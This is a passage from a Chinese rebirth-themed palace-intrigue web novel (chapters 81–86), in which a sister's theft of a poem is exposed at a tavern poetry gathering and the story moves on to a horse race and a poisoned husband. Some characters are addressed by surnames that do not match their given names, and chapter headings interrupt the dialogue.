他身形挺拔,面容清隽,眉宇间透着一股书卷气。 虽是粗布衣衫,却难掩其一身风华。 “这……这不是韩长华沈大人吗?” “探花郎韩长华?他怎么来了?” “这下可有好戏看了……” 人群中,有人小声议论着,语气中带着几分兴奋。 韩长华,寒门出身,却才华横溢。 在今年的春闱中,一举夺得探花之位,名动京城。 但他为人耿直,不喜逢迎,在京城的文人圈子里,算是个“异类”。 韩长华走到桌案前,目光在那首诗上停留了片刻,然后抬起头,看向了茅暮暮。 “茅二小姐,可否借一步说话?” 他微微躬身,语气虽是客气,却带着不容拒绝的意味。 茅暮暮的脸色微微一变,心中暗暗叫苦。 她没想到,竟然会在这里遇到韩长华。 而且,看韩长华这架势,似乎是对这首诗起了疑心。 “沈大人有何见教?” 茅暮暮强压下心头的慌乱,脸上勉强挤出一丝笑容。 “此处说话不便,还请茅二小姐移步。” 韩长华再次开口,语气依旧平静,却带着不容置疑的坚定。 茅暮暮犹豫了片刻,最终还是点了点头。 她知道,自己今天是躲不过去了。 两人一前一后,走到了酒楼角落里的一处僻静之处。 “沈大人,现在可以说了吧?” 茅暮暮停下脚步,转身看向韩长华,语气中带着一丝不耐。 “茅二小姐,这首诗,当真是你所作?” 韩长华开门见山,直截了当地问道。 “当然。”茅暮暮毫不犹豫地回答,语气坚定。 “可我怎么听说……”韩长华微微眯起了眼睛,目光如炬。 “这首诗,是刁明远林公子所作?” “韩长华!” 一个娇蛮的声音忽然响起,打断了韩长华的话。 刁雅嫣气势汹汹地冲了过来,一把将茅暮暮护在了身后。 “你少在这里胡说八道! 第八十一章 ” “这诗就是暮暮姐姐写的,关我哥什么事?!” 她怒目圆睁,像一只被激怒的小兽,恨不得扑上去咬韩长华一口。 “雅嫣……”茅暮暮轻轻拉了拉刁雅嫣的衣袖,示意她不要冲动。 “暮暮姐姐,你别怕,有我在!”刁雅嫣紧紧地握着茅暮暮的手,语气坚定。 “我哥可宝贝你这首诗了!宝贝得不得了!”刁雅嫣提高了声音,像是在给自己壮胆,“他说这是他见过最好的诗,恨不得天天挂在床头呢!” 韩长华的眉头皱得更紧了。 他看着刁雅嫣,缓缓开口:“林小姐,你可知道,你这是在包庇?” “我没有!”刁雅嫣大声反驳,声音都有些变了调。 “我说的都是实话!” “好,好,好。”韩长华连说了三个“好”字,语气中带着一丝嘲讽。 “既然如此,那不如请林公子过来,当面对质一番,岂不更好?” “你……”刁雅嫣顿时语塞,脸色一阵青一阵白。 “怎么?不敢?”韩长华步步紧逼,语气中带着一丝挑衅。 “谁说我不敢了?”刁雅嫣强撑着说道,声音却有些发虚。 “我只是……只是怕我哥他没空……” “没空?”韩长华冷笑一声。 “我看你是心虚了吧?” “够了!”茅暮暮再也忍不住了。 她猛地甩开了刁雅嫣的手,厉声喝道。 “韩长华,你不要欺人太甚!” “我茅暮暮行得正,坐得端,没什么好怕的!” “这首诗,就是我写的,有什么好对质的?” “既然你不信,那我也无话可说!” 说着,她转身就要走。 “慢着!” 一个清脆的声音,从楼上传来。 清韵公主正站在三楼的栏杆旁,居高临下地看着他们。 “茅二小姐,既然有人质疑你的才学,你何不当众证明一下自己?” “公主殿下……”茅暮暮的脸色,瞬间变得惨白如纸。 “怎么?不敢?”清韵公主挑衅地看着她。 “还是说,你根本就……写不出这样的诗?” 茅清兮上前一步,拦在了清韵公主的身前。 “公主殿下,您这是何必呢?” “茅暮暮她毕竟是我的妹妹,您这样……未免有些过分了。” “过分?”清韵公主冷笑,“我看是你们心虚才对!” “茅清兮!”刁雅嫣气急败坏地喊道。 “你到底站哪边的?!” 茅清兮没理会刁雅嫣,只是看着茅暮暮,一字一顿地说道: “既然如此,那就请林公子过来吧。” “只要林公子说这诗是茅暮暮写的,那我这个当姐姐的,就当众向她赔礼道歉!” 茅暮暮的身体,微微颤抖起来。 她看着茅清兮,眼中充满了绝望。 “雅嫣……”她轻轻唤了一声,声音嘶哑。 “你去……你去告诉林公子,让他……无论如何,都不要过来……” “暮暮姐姐……”刁雅嫣愣住了。 她看着茅暮暮,眼中充满了疑惑和不解。 “你这是……什么意思?” “我……”茅暮暮张了张嘴,却什么也说不出来。 “快去!”茅清兮厉声喝道。 “别让林公子过来趟这浑水!” 刁雅嫣咬了咬牙,转身跑了出去。 “暮暮姐姐,你放心,我哥他……他一定不会让你失望的!” 她的声音,渐渐远去,消失在了人群中。 茅暮暮无力地闭上了眼睛。 她知道,自己完了。 “请酒楼老板派人去请林公子吧。” 茅清兮的声音,再次响起,带着一丝决绝。 “等林公子一来,这诗究竟是谁写的,自然就一清二楚了。” “我们,等着便是。” 茅清兮的话音刚落,酒楼内,一片哗然。 茅暮暮,脸色煞白如纸,浑身颤抖如风中落叶。“让林公子过来,当面对质。”司玄苏一声令下,自有伶俐的小厮拔腿就跑,那速度,比兔子还快三分。 茅暮暮的心,忽悠一下提到了嗓子眼。 她偷偷拿眼角的余光扫了春秋一眼,两人交换了个只有彼此才懂的眼神。 春秋微微一点头,转身消失在了人群中,像一滴水融入了大海,了无痕迹。 这一幕,自然没有逃过茅清兮的眼睛。 她微微勾了勾唇角,似笑非笑,那笑容里,带着几分玩味,几分了然。她稍稍偏了偏头,朝身后的俞霜使了个眼色。 俞霜心领神会,微微颔首,悄无声息地跟了上去,像一只捕猎的豹子,无声无息,却又充满了力量。 春秋一走,茅暮暮紧绷的心弦总算松弛下来。 她脸上依旧挂着那副温柔娴静的笑容,仿佛胸有成竹,完全没把眼前的质疑当回事。 这份异于常人的镇定,让那些爱慕她的公子哥们更加心折。 他们纷纷出言力挺: “茅二小姐冰清玉洁,才华横溢,我等有目共睹,岂会相信那些无稽之谈?” “就是,那些跳梁小丑,不过是嫉妒茅二小姐的才情罢了,何必与他们一般见识?” “茅二小姐的诗词,我等早已拜读过,清新脱俗,意境深远,绝非寻常女子可比。今日之事,分明是有人故意陷害!” 醉月楼的二楼,每月都会举办一次诗会,切磋诗艺,品评佳作。京城里有头有脸的才子佳人,大多都喜欢聚集于此,附庸风雅。 茅暮暮今日出现在这里,可不是为了吟诗作对,而是为了给自己扬名。 她已经被赐婚给了刁明远,这消息像是一记闷棍,打得她晕头转向,也让她恨得牙痒痒。 她暗中派人去刺杀刁明远,结果却像肉包子打狗,有去无回。 更让她窝火的是,就连派去刺杀茅清兮的俞霜,也神秘失踪,活不见人,死不见尸。 接二连三的打击,让茅暮暮心烦意乱,总觉得老天爷都在跟她作对。 她必须尽快扭转局面。 她的目标是太子妃,是那个至高无上的位置,绝不能嫁给刁明远那个无能的草包。 因此,她必须在今天的诗会上大放异彩,艳惊四座。 她要让所有人都知道她茅暮暮的才学,更要让太子殿下对她刮目相看,留下深刻的印象。 她甚至已经打听清楚,太子此刻正在对面茶馆,隔岸观火。 只要她的诗能够被挂上听雨阁的最高处,那就如同在京城最显眼的地方竖起了一块金字招牌。 来来往往的人都能看到,太子肯定也逃不掉。 到时候,她在太子眼中,就是一位才貌双全的奇女子——这才是太子妃的完美人选。 茅暮暮的如意算盘打得噼啪响。 可惜,最近一段时间,她心浮气躁,别说写出惊才绝艳的诗句了,就连一篇像样的文章都憋不出来。 思来想去,她只好出此下策,让刁雅嫣把刁明远最近写的一首诗“借”来用用。 第八十二章 反正刁明远那家伙,写完的诗稿就随手扔在书桌上,从来也不当回事,丢一两首,他根本不会发现。 茅暮暮原本以为,今天可以顺风顺水,名利双收。 谁知,正当她沉浸在众人的吹捧中时,居然有人在大庭广众下开始杠。 更让她气得七窍生烟的是,茅清兮竟然也在场! 在茅暮暮看来,茅清兮就是个灾星,她出现在这里,准没好事!肯定是来看她笑话的! 不过,现在说什么都晚了。 茅暮暮眼中闪过一丝狠厉,又迅速隐去。 她已经安排春秋去拦截刁明远了。 要是拦不住…… 那就别怪她心狠手辣了。 茅暮暮端起茶杯,轻轻抿了一口,借着喝茶的动作掩饰住自己眼底的杀机。 只要刁明远来不了,这场闹剧就能反转。 到时候,她倒要看看,茅清兮要如何收场,是不是要当众跪下来给她磕头认错! 想到这里,茅暮暮的心情总算好了些,就连那寡淡的茶水,也变得有滋有味起来。 清韵公主是个闲不住的主儿,最喜欢热闹。 她让人摆了一桌子好酒好菜,满满当当,香气扑鼻。 然后,她冲着二楼角落里一个独自喝酒的男子喊道: “韩长华!你,给本公主滚上来!” 韩长华缓缓抬起头,看向声音传来的方向。 他看到清韵公主,先是微微一怔,随即起身,恭恭敬敬地行了一礼,声音不高不低,却掷地有声: “非礼也。” 说完,他竟然又坐了回去,自顾自地喝起酒来,仿佛刚才什么事都没发生过。 清韵公主顿时就愣住了,她长这么大,还从来没见过这么不识趣的人。 “嘿,这华儒,还敢跟本公主讲礼?他什么意思?”她歪着头,一脸不解地问茅清兮。 茅清兮也觉得有些意外,但更多的是觉得有趣。 “清韵,人家是读书人,跟你讲礼,你跟他讲什么?再说,孤男寡女的,你请别人蹭饭,像什么话?”她笑着打趣道。 “本公主就是看不惯他那副假正经的样子!再说了,我就是随口一说,他要真敢上来,我还嫌他碍眼呢!” 清韵公主嘴上不饶人,可心里却有些发虚。 韩长华竟然敢当众驳她的面子,这让她觉得很没面子,心里憋着一口气。 “来人,去把那个不知天高地厚的家伙给本公主绑上来!”清韵公主一拍桌子,怒气冲冲地吩咐道。 她身后的两个侍卫立刻领命,气势汹汹地朝楼下走去。 他们来到韩长华身边,二话不说,直接一左一右架起他就走,那架势,跟抓犯人没什么两样。 韩长华猝不及防,被两人拎小鸡一样拎上了三楼,直接扔在了椅子上。 周围的人看到这一幕,都惊呆了。 他们议论纷纷,却没人敢上前阻止。 开玩笑,清韵公主可是出了名的刁蛮任性,谁敢惹她? 更何况,她身边还站着一个更厉害的茅清兮。 这两个人,一个是皇亲国戚,一个是混世魔王,谁惹得起? 他们这些读书人,还是老老实实看戏吧,免得引火烧身。 韩长华被扔在椅子上,好不容易才稳住身形。 他挣扎着想要站起来,却又被侍卫一把按了回去。 一番折腾下来,他身上的衣服皱巴巴的,头发也乱了,看起来狼狈不堪。 韩长华强忍着怒气,深吸一口气,缓缓整理好自己的衣衫,这才抬起头,看向清韵公主,语气平静地说道: “公主殿下,光天化日,强抢民男,于礼不合。” “于礼不合?姐妹我请你吃饭,你竟然跟本公主说于礼不合?你这是在教本公主做事吗?!” 清韵公主气得柳眉倒竖,杏眼圆睁,胸口剧烈地起伏着。 韩长华却不慌不忙,依旧是一副波澜不惊的样子。 他缓缓起身,微微躬身,语气诚恳地说道: “公主殿下乃金枝玉叶,身份尊贵,微臣不过一介布衣,岂敢与公主同席?此其一。男女大防,授受不亲,此其二。《大晋礼典》有云……” 韩长华开始引经据典,旁征博引,滔滔不绝地讲起了那些繁琐的礼仪规矩。 他神情严肃,语气认真,仿佛在进行一场神圣的布道。 清韵公主彻底傻眼了。 她张大了嘴巴,瞪大了眼睛,一脸的难以置信。 过了好半天,她才回过神来,有气无力地说道: “天哪,皇帝舅舅到底从哪儿找来这么个迂腐的华儒,真是……真是让人无话可说……” 茅清兮也觉得有些不可思议。 她看着韩长华,心中暗暗感叹:这华儒,还真是百闻不如一见,果然名不虚传。 不过,看到清韵公主那副吃瘪的样子,她又觉得有些好笑。 为了缓和气氛,她笑着说道: “沈大人不必如此拘谨。此处并非朝堂,也非正式场合,不必如此拘泥于礼数。” 谁知,韩长华却依旧是一副油盐不进的样子,他摇了摇头,一本正经地说道: “礼,不可废。” 茅清兮:“……” 清韵公主彻底放弃了跟他沟通的希望。 她泄气地摆了摆手,说道:“算了算了,别搭理他,我们吃我们的,喝我们的!” 韩长华听了这话,竟然真的像个雕塑一样,规规矩矩地站在一旁,一动不动,仿佛真的把自己当成了一个摆设。 就在这时,楼下忽然传来一阵喧闹声。 “来了来了!林公子来了!” “快看快看,林公子来了!” 茅清兮和清韵公主连忙探头朝楼下看去。 只见醉月楼门口,人头攒动,熙熙攘攘,好不热闹。 人群中,一个熟悉的身影,正被众人簇拥着,缓缓走来。 正是刁明远。 他身边还跟着不少人,有的是他的朋友,有的是纯粹来看热闹的,把个醉月楼门口围得水泄不通。 清韵公主眼尖,一眼就看到了人群中的太子和乐雅书。 “呸,真是晦气,怎么哪儿都有这个乐雅书,跟个苍蝇似的,嗡嗡嗡,烦死了!”她皱着眉头,一脸嫌弃地说道。 刁明远一路走来,完全是一头雾水,根本不知道发生了什么事。 来报信的人只说他的诗被人抄袭了,还挂在了醉月楼上,让他赶紧过来看看。 至于其他的,他一概不知。 茅暮暮看到刁明远出现,脸色“唰”的一下就白了,像是被抽走了所有的血色。 当她看到人群中的太子时,更是吓得浑身发抖,差点没站稳。 她慌乱地在人群中寻找着,希望能看到春秋的身影。 可是,她找了半天,也没有找到。 茅暮暮的心,一点点沉了下去,像是坠入了无底的深渊。 她的手心里全是汗,指甲深深地掐进了肉里,几乎要掐出血来。 第八十三章 刁雅嫣也发现了茅暮暮的不对劲。 “暮暮姐,你怎么了?是不是哪里不舒服?”她关切地问道。 茅暮暮没有回答,只是死死地盯着刁明远。 她看到刁明远的目光已经落在了那首挂在听雨阁上的诗上。 她的瞳孔骤然收缩,心脏像是被一只大手狠狠地攥住了,几乎要停止跳动。 不能让他说出来! 绝对不能让他说出来! 否则,她今天所做的一切,都将前功尽弃,她将成为整个京城的笑柄! “明远哥……” 茅暮暮再也顾不得其他,她猛地朝刁明远冲了过去,想要阻止他开口。 然而,就在这时,一个清冷的声音,如同冰冷的刀锋,划破了喧闹的人群,清晰地传入了每个人的耳中。 “林公子。” 茅清兮站在三楼的栏杆旁,居高临下地看着刁明远。 她的眼神冷漠而锐利,嘴角微微上扬,带着一丝若有若无的嘲讽。 在这一刻,她仿佛一位高高在上的女王,俯视着芸芸众生。 周围的一切,都与她无关。 只有她,是这世间唯一的光芒。 刁明远听到这个声音,不由自主地抬起头,看向了茅清兮。 只一眼,他就愣住了。 他呆呆地看着茅清兮,仿佛被勾走了魂魄,完全忘记了自己身处何地,也忘记了自己要做什么。 “宋……宋大小姐……” 他的声音有些颤抖,带着一丝难以置信,一丝迷茫。 茅清兮嘴角的弧度更深了。 她缓缓开口,声音清冷而平静,却带着一股不容置疑的威严: “林公子,劳烦你仔细瞧瞧,这上面挂着的这首诗,到底是不是你写的?”“我的诗,怎会挂在此处?” 刁明远眉头紧锁,话音未落,心口却猛地一悸,像是有什么重要的东西,突然被人硬生生夺走。 他不敢去看茅清兮,目光慌乱地扫过那悬挂的诗篇,落款的“刁明远”三个字如针芒刺目。 “大哥,你这是何意?这诗……难道不是暮暮姐所作?” 刁雅嫣的疑问声打破了凝滞,语气中充满了少女的纯真与不解。 刁明远猛地回头,这才注意到身侧的刁雅嫣,还有……茅暮暮。她脸色煞白,紧咬下唇,眼底藏着一丝难以察觉的祈求。 “林公子,”茅清兮轻启朱唇,尾音微微上扬,似笑非笑,“沈大人可作证,此诗乃你亲笔。可你的未婚妻却坚称是她所作,这……究竟孰真孰假?我等可都好奇得紧呢。” 她这话音刚落,如同在平静的湖面投下一块巨石,瞬间激起千层浪。 众人的目光如同追光灯,紧紧锁定在刁明远与茅暮暮之间,等待着一个令人信服的答案。 刁明远紧抿着唇,死死盯着茅暮暮,仿佛要将她看穿。 无数的视线如芒在背,他知道,自己必须做出抉择。 恐惧如退潮般缓缓从茅暮暮心头散去。 她看着刁明远,这个她一直以来的依靠,心中忽然升起一股莫名的自信。 她太了解他了,深知他的弱点。 刁明远深爱着她,定会护她周全。 想到这,茅暮暮的心头涌上一丝快意。她等着看,茅清兮一会儿如何收场! 茅暮暮掐准了刁明远的心思,故作柔弱地垂下眼帘,掩去眼底的心机,轻声道:“明远哥哥,是暮暮不好,连累你了。” 刁明远指节捏得发白,他咬着牙根,一字一顿地问:“暮暮,这,究竟是怎么一回事?” 茅暮暮抬眸,泪水在眼眶里打转,楚楚可怜:“明远哥哥……你当真不信我?” 她微微仰起脸,将自己最脆弱的一面展现在刁明远面前,试图唤起他的怜惜。 “我只问你,”刁明远的声音陡然拔高,仿佛压抑着一头即将失控的困兽,“究竟发生了什么鬼?!” 茅暮暮被他突如其来的怒吼吓得一颤,肩膀微微发抖,眼眶更红了,仿佛受了莫大的委屈,却又强忍着不敢哭出声。 刁雅嫣从未见过兄长对茅暮暮这般疾言厉色。 她看看脸色惨白的茅暮暮,又看看怒火中烧的刁明远,犹豫了片刻,上前一步,小声辩解道:“大哥,你莫要动怒。这诗……定是暮暮姐平日里随手所作,让你点评的。她见诗被挂出,一时情急,也未曾多想……” “雅嫣,”刁明远沉声打断她的话,语气中透着一丝不耐,“此事你不必多言,我自有分寸。” 刁雅嫣被噎得一窒,悻悻地退到一旁,不敢再多嘴。 四下里一片寂静,只余下轻微的呼吸声与衣袂摩擦的细碎声响。 “林公子,”不知是谁打破了沉寂,“事已至此,你总得给大家一个交代。这诗,究竟是谁人所作?” “是啊,总不能让茅二小姐平白蒙冤。”有人附和道。 “茅二小姐才情过人,岂容他人随意污蔑?” 众人的议论声越来越大,几乎都是站在茅暮暮这一边。 毕竟,茅暮暮“京城第一才女”的名声在外,而茅清兮,不过是个不学无术的草包。孰是孰非,似乎一目了然。 可他们不了解茅清兮,更不知,她从不是任人揉捏的软柿子。 刁明远缓缓抬眸,望向茅清兮。他张了张嘴,想为她辩解。告诉他们,她不是他们口中那般不堪。 可话到嘴边,却又硬生生咽了回去。 他不能。 他不能让茅暮暮身败名裂,更不能让她受到伤害。 他深吸一口气,强迫自己移开目光,声音干涩沙哑:“这诗……是茅二小姐所作。” 话音落下,茅暮暮一直紧绷的心弦,终于松弛下来。 她得意地扬起下巴,毫不掩饰地向茅清兮投去一个挑衅的眼神。 可这一幕,却如一根尖刺,狠狠扎进刁明远的心里。 他看见了。 茅暮暮脸上的得意,是那样的陌生,那样的刺眼。 那是一种他从未见过的神情,扭曲而狰狞,让他感到一阵阵心寒。 刁雅嫣也松了一口气,朝茅清兮投去一个“算你识相”的眼神。 “我就说嘛,这诗定是暮暮姐所作,岂容你这般污蔑?”刁雅嫣得意洋洋地说道,“你也不瞧瞧自己,斗大的字不识一箩筐,还敢质疑暮暮姐?当真是不知所谓!” 这番话,原本是为了给茅暮暮撑腰。可此刻,落在刁明远耳中,却比刀子还锋利。 “雅嫣!”刁明远厉声喝止,声音中带着一丝颤抖,“住口!” 刁雅嫣撇撇嘴,虽心有不甘,却也不敢再多言。 事情似乎尘埃落定,众人对茅暮暮的赞美之声不绝于耳,对茅清兮,则是毫不掩饰的鄙夷和嘲讽。 这些话语,如同一把把尖刀,刺向茅清兮。 第八十四章 刁明远的心,像是被一只无形的大手狠狠攥紧,几乎要窒息。 他想冲上前,将那些人赶走,告诉他们,茅清兮不是他们说的那样! 可他不能。 他只能眼睁睁地看着,看着她被众人围攻,看着她孤立无援。 “茅暮暮,”就在这时,茅清兮清冷的声音再次响起,如同一道惊雷,震慑全场,“你确定,这诗真是你所作?” “那是自然,姐姐莫非还心存怀疑?”茅暮暮得意地扬起下巴。 茅清兮缓缓将目光移向刁明远。 刁明远心虚地垂下头,不敢与她对视。 “我倒是想起一事,”茅清兮不紧不慢地开口,声音清脆如珠落玉盘,“今年春闱殿试,官家曾出一题,让众举子以‘春日’为题,即兴赋诗一首。林公子当时所作的诗,似乎与这首……有异曲同工之妙。” 她顿了顿,目光扫过那些或茫然、或震惊的面孔,唇角勾起一抹玩味的笑意: “诸位可还记得,林公子当时所作何诗?可有人能背诵一二?” 她这一问,顿时引来一片窃窃私语。 “我记得,我记得!林公子当时所作,乃是一首七言绝句!”有人高声喊道。 “我也记得!那诗写得极好,我还特意抄录了下来!” “快背来听听!” 人群中,一个年轻士子清了清嗓子,朗声吟诵道: “春风拂柳绿江南,细雨润花红满山。 …… 与此间诗作,何其相似!” 他一口气将诗背完,末了,还忍不住惊叹一声。 这下,所有人都明白了。 这两首诗,分明就是同一首! “若我没记错,”茅清兮悠悠开口,“殿试之作,是要呈给官家御览的。若林公子这诗,真是抄袭了茅二小姐的……那可是欺君之罪!” 她故意将“欺君之罪”四个字咬得极重。 “欺君罔上,可是要灭九族的!”清韵公主适时地补上一句,语气轻飘飘的,却让人不寒而栗。 “什么?!” 茅暮暮如遭雷击,脸色瞬间惨白如纸。 她万万没想到,这首诗,刁明远竟曾在殿试上用过! 这下,她彻底慌了。 刁明远也傻了眼。 他脸色煞白,嘴唇颤抖,一个字也说不出来。 “欺君之罪”四个字,如同四座大山,压得他喘不过气来。 “这……这诗……”有人颤声问道,“究竟是何人所作?” 原本只是一场文人间的争风吃醋,如今却牵扯到欺君罔上的滔天大罪,所有人都噤若寒蝉。 “孤可以作证,这诗,的确是安彦在殿试上所作。” 太子钱云霄脸色铁青,声音冷冽如冰, “刁明远,你可知罪?!” 刁明远是他颇为看重的青年才俊,也是他极力拉拢的对象。 可如今,他竟犯下如此大错! 若此事属实,他绝不会姑息! “臣……臣……”刁明远双膝一软,扑通一声跪倒在地,额头上冷汗涔涔而下,“臣……有罪!” 他声音嘶哑,短短两个字,仿佛耗尽了他全身的力气。 “这诗……是臣所作!” 全场哗然! 茅暮暮再也支撑不住,身子一软,瘫坐在地。 刁雅嫣张大了嘴巴,却发不出半点声音。 刁明远将额头重重地抵在冰冷的地面上,声音颤抖: “臣……不知茅二小姐为何要将此诗据为己有,臣方才……为了维护她的颜面,才出此下策。太子殿下,臣一时糊涂,铸成大错,请太子殿下……降罪!” 字字泣血,声声悔恨。 宛如五雷轰顶,茅暮暮的世界,彻底崩塌。 那些方才还对她赞不绝口的才子们,此刻,都用一种看跳梁小丑般的眼神看着她,充满了鄙夷和嘲讽。 她完了。 她苦心经营的一切,全完了。 她抬起头,看向太子。 太子眼中毫不掩饰的厌恶,像一盆冰水,将她从头到脚浇了个透心凉。 不该是这样的! 她本该是京城中最耀眼的明珠,本该受万人追捧,本该让太子殿下也为之倾倒! 为什么……事情怎么会发展到这个地步? 对了!是茅清兮! 若不是茅清兮,她怎会落到如此境地? 茅清兮!茅清兮!!! 茅暮暮死死地盯着茅清兮,眼中燃烧着疯狂的恨意,那恨意,仿佛要将她整个人都吞噬。 她要杀了她! 非得让她血债血偿!!!“暮暮姐!” 刁雅嫣一声惊呼,眼睁睁看着茅暮暮像断了线的风筝,跌跌撞撞地冲出了听雨阁,转瞬间便没了踪影。 她怔怔地站在原地,好半晌才回过神,心中五味杂陈,也顾不上其他,匆匆追了出去。 听雨阁内,众人的目光依旧在林家兄妹身上打转,各种猜测、议论声不绝于耳。 “哥哥……” 刁雅嫣刚走,身后就传来她怯生生的声音,像一只受惊的小猫。 刁明远没有回头,身子微微颤抖,仿佛在极力压抑着什么。 刁雅嫣走到他身边,伸出手,想去扶他,却又在半空中僵住,不知如何是好。 她脸色一阵青一阵白,嘴唇动了又动,却始终没能说出一句完整的话。 她心目中那个完美的暮暮姐,怎么会做出这种事来? 偷了自己哥哥的诗…… 更让她难以接受的是,自己竟然成了茅暮暮的帮凶。 刁雅嫣感觉脑子里乱成了一锅粥,嗡嗡作响,让她头疼欲裂。 “你……还觉得……这是误会吗?” 刁明远终于开口,声音嘶哑得不成样子,每一个字都像是从胸腔里挤出来的,带着无尽的痛苦和绝望。 他缓缓转过身,眼睛里布满了血丝,紧握的拳头因为用力过度而微微发颤。 一次,两次,三次…… 他再怎么自欺欺人,也无法否认眼前的事实。 他曾经以为,自己看透了茅暮暮,可如今看来,他看到的,不过是茅暮暮想让他看到的罢了。 或许,他从来就没有真正了解过她。 刁明远的目光有些呆滞,他缓缓抬头,看向二楼的某个包厢。 窗户紧闭,佳人已逝,只留下无尽的空虚和怅惘。 心,像是被生生剜去了一块,空荡荡的,疼得他几乎喘不过气来。 他忽然明白,自己错得有多离谱。 有些人,一旦错过,就再也没有机会了。 “回去吧。” 刁明远的声音低沉而沙哑,分不清是对刁雅嫣说,还是对自己说。 他没有再理会刁雅嫣,转身,一步一步,缓缓地走出了听雨阁,身影落寞而孤寂。 二楼包厢内。 “瞧你那好妹妹,这下可有得哭了。” 清韵公主幸灾乐祸的声音响起,打破了包厢内的宁静。 她斜靠在软榻上,手里转动着一只精致的酒杯,嘴角勾起一抹玩味的弧度。 “哭吧,好日子还在后头呢。 第八十五章 ” 茅清兮微微一笑,眼中闪过一丝冷冽的光芒。 从她重生的那一刻起,茅暮暮的命运,就已经被改写。 她会让茅暮暮,生不如死。 “咚咚咚。” 敲门声突然响起,打断了茅清兮的思绪。 “草民乐雅书,求见公主殿下。” 门外,传来了乐雅书的声音,谦卑而恭敬。 “他来做什么?” 清韵公主的眉头皱了起来,语气中带着一丝不悦。 茅清兮也有些疑惑,她和乐雅书素无瓜葛,不知他为何而来。 “不见,让他走。” 清韵公主想也没想,直接对身后的侍卫吩咐道。 她对乐雅书没什么好感,只觉得他是个油头粉面的纨绔子弟。 “是。” 侍卫领命而去。 清韵公主的目光这才落在了站在一旁的韩长华身上。 她上上下下打量了他一番,撇了撇嘴, “你还杵在这儿干嘛?出去出去!” 语气中满是嫌弃。 韩长华似乎早已习惯了清韵公主的态度,他面无表情地行了一礼,然后转身离开了包厢。 “这些男人,真是无趣得紧。” 清韵公主看着韩长华离去的背影,摇了摇头, “一个个不是心怀鬼胎,就是榆木脑袋。本公主宁可孤独终老,也不愿与这些人共度余生。” 她叹了口气,似乎对天下的男人都失望透了。 茅清兮看着清韵公主,想起了前世她的结局。 这位尊贵的公主,最终还是没能逃脱和亲的命运,成为了权力斗争的牺牲品。 “那便祝公主殿下,往后余生,皆能随心所欲,快意逍遥。” 茅清兮由衷地说道。 她希望清韵公主能够挣脱命运的枷锁,自由自在地活下去。 清韵公主的心情似乎好了些,她笑了笑,没再说什么。 这时,之前溜出去的小弟又溜达回来了。 他在清韵公主耳边低声说道: “乐公子说,他新得了一匹西域汗血宝马,打算孝敬给公主殿下。” “汗血宝马?” 清韵公主的眼睛顿时亮了起来,像两颗闪耀的星星。 但很快,她又收起了兴奋,故作淡定地冷哼一声, “这个乐雅书,是想用一匹马收买本公主?未免太小瞧人了。” 她不屑地撇了撇嘴, “告诉他,本公主不稀罕!让他哪儿凉快哪儿待着去,少在本公主面前碍眼。” 她可不是那种会被区区一匹马收买的女人。 侍卫又说: “乐公子还说,若是公主不愿收,他可以……将马卖给公主。” 清韵公主的眉毛微微一挑,眼中闪过一丝诧异。 茅清兮也有些意外,乐雅书这一招,倒是出人意料。 乐雅书很懂人心。 他知道清韵公主对他没有好感,更不愿接受他的馈赠,所以才想出了“卖”这个法子。 这样一来,既能投其所好,又能让清韵公主觉得心安理得。 清韵公主对汗血宝马自然是心动的。 可她又不想平白受了乐雅书的人情。 她转念一想,若是自己花钱买下,那便和乐雅书两不相欠,也算不得欠了他什么。 于是,她便点头应允了。 不久,乐雅书便将汗血宝马送到了公主府。 但他并没有在清韵公主面前露面,甚至没有多说一句话,而是悄然离去。 公主府后院,有一片开阔的跑马场,是清韵公主平日里驯马、练箭的地方。 她不爱那些大家闺秀喜欢的诗词歌赋,偏偏喜欢舞刀弄枪,骑马射箭,还养了一群武艺高强的侍卫。 现在搞到手这匹神驹,清韵公主更是心花怒放,她立刻翻身上马,在跑马场上策马奔腾。 茅清兮也从马厩里牵出了一匹骏马。 “比试比试?” 清韵公主笑着问道,眼中充满了跃跃欲试。 “好啊。” 茅清兮应了一声,轻轻一夹马腹,手中的缰绳微微一扬,马儿便如离弦之箭般冲了出去。 清韵公主也不甘示弱,她猛地一挥马鞭,胯下的汗血宝马长嘶一声,奋起直追。 两人在跑马场上你追我赶,风驰电掣, 马蹄声、风声、呼喊声交织在一起,构成了一幅热血沸腾的画面。 几圈下来,终究是茅清兮更胜一筹,率先冲过了终点。 “这汗血宝马也不过如此嘛,竟还跑不过一匹普通的马?” 清韵公主勒住缰绳,有些不甘心地嘟囔道。 “这跑马场太小了,汗血宝马的优势发挥不出来。” 茅清兮笑着解释道。 清韵公主的脸上重新绽放出灿烂的笑容, “那好,改日咱们出城去跑,等着瞧我必定让你输得裤衩都不剩!” 她对自己的骑术还是很有信心的。 茅清兮笑着点了点头。 离开公主府,茅清兮回到了洛国公府。 自从上次冀容白提过之后,冀国公果然在他们的院墙上开了一道侧门,虽然小了些,好歹不用再与旁人共用一道门。 如今,他们进出都走这道侧门,院门一关,便自成一方天地,与洛国公府的喧嚣彻底隔绝。 茅清兮回到院子的时候,冀容白正在院里的桃花树下摸鱼。 他还是坐在轮椅上,衣袂飘飘,身形单薄。 微风拂过,桃花纷纷扬扬地飘落,有几片落在了他的肩头,给他平添了几分出尘的气质,却也更显得他虚弱苍白。 他的腿虽无残疾,但寒星露之毒却是实实在在的。 毒已入骨,侵蚀着他的五脏六腑,让他时刻承受着巨大的痛苦。 茅清兮翻遍了娘亲留下的医书,也没找到彻底根除寒星露的办法。 她记得,冀容白曾说过,他已经找到了能解此毒的人。 只是不知,是这毒太过霸道,还是那人……不愿出手。 茅清兮走到冀容白身边,静静地看着他。 冀容白缓缓睁开眼睛, 他的眼眸依旧深邃,却带着一丝难以掩饰的疲惫。 虽然他一直强忍着,但寒星露带来的痛苦,却无时无刻不在折磨着他。 “手。” 茅清兮轻声说道。 冀容白没有说话,只是乖乖地伸出了手。 他的手修长白皙,骨节分明,却冰凉得没有一丝温度。 茅清兮将手指搭在他的脉搏上,细细诊察。 脉象虚浮无力,紊乱不堪, 一股寒气顺着她的指尖,直往她的经脉里钻。 茅清兮的眉头越皱越紧,她知道,冀容白的毒,不能再拖下去了。 她压低了声音,带着一丝急切, “你说的那个……能解你毒的人,究竟是谁?” 冀容白没有立刻回答,反而握住了她的手, 他的手很凉, “娘子,帮我暖暖。” 声音低沉沙哑,带着一丝不易察觉的脆弱。 茅清兮没有挣脱,任由他握着自己的手。 她知道,冀容白在回避她的问题。 “除了青鸾阁,难道真没有别的法子了吗? 第八十六章 ” 冀容白的声音很轻,像是在自言自语, “可如今,青鸾阁早已销声匿迹,我又到哪里去找阁主的亲传弟子……” 